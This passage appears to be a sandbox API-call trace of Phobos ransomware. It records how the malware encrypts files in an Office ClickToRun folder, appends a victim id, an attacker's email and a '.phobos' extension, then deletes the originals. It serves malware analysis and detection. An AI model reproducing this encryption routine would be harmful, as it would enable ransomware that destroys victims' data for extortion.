shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.242] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.242] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.242] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc810) returned 1 [0062.242] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.242] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4cc0, lpOverlapped=0x0) returned 1 [0062.253] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4cd0) returned 1 [0062.253] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4cd0, lpOverlapped=0x0) returned 1 [0062.254] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc850) returned 1 [0062.254] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.254] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60, dwBufLen=0x60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60) returned 1 [0062.254] CryptDestroyKey (hKey=0x10dc850) returned 1 [0062.254] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x112, lpOverlapped=0x0) returned 1 [0062.254] CryptDestroyKey (hKey=0x10dc810) returned 1 [0062.254] CloseHandle (hObject=0x304) returned 1 [0062.255] CloseHandle (hObject=0x310) returned 1 [0062.256] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0062.257] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.258] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=27840) returned 1 [0062.258] CloseHandle (hObject=0x310) returned 1 [0062.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0062.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.258] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.258] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.259] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc810) returned 1 [0062.259] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.259] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x6cc0, lpOverlapped=0x0) returned 1 [0062.262] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x6cd0, dwBufLen=0x6cd0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x6cd0) returned 1 [0062.262] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x6cd0, lpOverlapped=0x0) returned 1 [0062.263] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc690) returned 1 [0062.263] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.263] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60, dwBufLen=0x60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60) returned 1 [0062.263] CryptDestroyKey (hKey=0x10dc690) returned 1 [0062.264] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x112, lpOverlapped=0x0) returned 1 [0062.264] CryptDestroyKey (hKey=0x10dc810) returned 1 [0062.264] CloseHandle (hObject=0x310) returned 1 [0062.264] CloseHandle (hObject=0x304) returned 1 [0062.265] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0062.266] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.266] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=26816) returned 1 [0062.266] CloseHandle (hObject=0x304) returned 1 [0062.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0062.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.267] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.267] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.267] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dccd0) returned 1 [0062.267] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.267] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x68c0, lpOverlapped=0x0) returned 1 [0062.752] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x68d0, dwBufLen=0x68d0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x68d0) returned 1 [0062.752] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x68d0, lpOverlapped=0x0) returned 1 [0062.753] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcbd0) returned 1 [0062.753] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.753] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0062.753] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.753] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0062.753] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0062.753] CloseHandle (hObject=0x304) returned 1 [0062.753] CloseHandle (hObject=0x310) returned 1 [0062.753] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0062.755] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.756] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=23232) returned 1 [0062.756] CloseHandle (hObject=0x310) returned 1 [0062.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0062.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.756] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.756] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.756] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0062.757] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.757] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x5ac0, lpOverlapped=0x0) returned 1 [0062.781] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x5ad0, dwBufLen=0x5ad0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x5ad0) returned 1 [0062.781] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x5ad0, lpOverlapped=0x0) returned 1 [0062.783] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc810) returned 1 [0062.783] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.783] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0062.783] CryptDestroyKey (hKey=0x10dc810) returned 1 [0062.783] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0062.783] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.783] CloseHandle (hObject=0x310) returned 1 [0062.783] CloseHandle (hObject=0x304) returned 1 [0062.783] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0062.784] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.784] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=24768) returned 1 [0062.784] CloseHandle (hObject=0x304) returned 1 [0062.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0062.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.785] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.785] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.785] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc890) returned 1 [0062.785] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.785] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0062.914] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60d0) returned 1 [0062.914] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x60d0, lpOverlapped=0x0) returned 1 [0062.915] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc6d0) returned 1 [0062.915] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.915] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0062.915] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0062.915] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0062.915] CryptDestroyKey (hKey=0x10dc890) returned 1 [0062.915] CloseHandle (hObject=0x304) returned 1 [0062.915] CloseHandle (hObject=0x310) returned 1 [0062.915] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0062.916] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.916] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=162880) returned 1 [0062.916] CloseHandle (hObject=0x310) returned 1 [0062.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0062.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.917] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.917] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=656088) returned 1 [0062.917] CloseHandle (hObject=0x310) returned 1 [0062.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0062.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft 